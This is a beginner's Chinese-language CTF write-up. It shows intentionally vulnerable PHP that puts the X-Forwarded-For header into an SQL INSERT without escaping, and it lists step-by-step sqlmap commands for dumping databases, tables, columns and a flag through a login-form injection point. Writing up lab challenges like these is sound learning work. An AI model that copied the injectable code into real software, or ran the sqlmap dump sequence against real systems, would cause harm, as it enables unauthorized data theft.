我要成为web🐕
1.INSERT INTO注入
XFF时间注入
error_reporting(0);
function getIp(){
$ip = '';
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}else{
$ip = $_SERVER['REMOTE_ADDR'];
}
$ip_arr = explode(',', $ip);
return $ip_arr[0];
}
$host="localhost";
$user="";
$pass="";
$db="";
$connect = mysql_connect($host, $user, $pass) or die("Unable to connect");
mysql_select_db($db) or die("Unable to select database");
$ip = getIp();
echo 'your ip is :'.$ip;
$sql="insert into client_ip (ip) values ('$ip')";
mysql_query($sql);
数据库知识还不会!以后再补吧!
2.这是一个神奇的登陆框
SQL注入
因为我对数据库真的不了解每次只能🥧
有一个手动注入的大佬
还有其他大佬是用sqlmap。搞了半天。就因为py3与py2不兼容,sqlmap老出错。
sqlmap+bp来解题。
这里记录一下SQLmap的用法:
大佬
大佬
首先将你bp的包 保存在一个.txt文件里
然后用sqlmap工具:
1 输入命令暴库:
sqlmap.py -r “1.txt” -p admin_name --dbs(我将1.txt和sqlmap保存在同一个文件夹下了)
不同文件加路径就可以了。“D:\1.txt”
解释一下: -r是读文件 后面是刚才保存的绝对路径,-p是参数,也就是注入点(选了admin_name是注入点) --dbs意思是想获取数据库名字。
2 再继续爆表,
命令:sqlmap.py -r “D:\1.txt” -D bugkusql1 -p admin_name --tables
解释:-D是表示选择了后面的这个数据库 --tables是想获取表(个人理解文件夹)
3 继续爆列名(文件):
命令:sqlmap.py -r “D:\1.txt” -D bugkusql1 -T flag1 -p admin_name --columns
解释 类似上面 不过加了一个-T 指定表 。
4 最后查字段 命令:
sqlmap.py -r “D:\1.txt” -D bugkusql1 -T flag1 -C flag1 -p admin_name --dump
-C指定字段,
解释:同上面 --dump是获取字段的命令
数据库我理解和计算机一样操作。
先上电脑的一个盘(库)–》看一个文件夹(表)–》看里面的文件(列名)–》再看文件内容(字段)!
因为这个题没有了!具体操作等到遇到类似的题目吧!
现在对于菜鸡的我,见的多是我想要的👼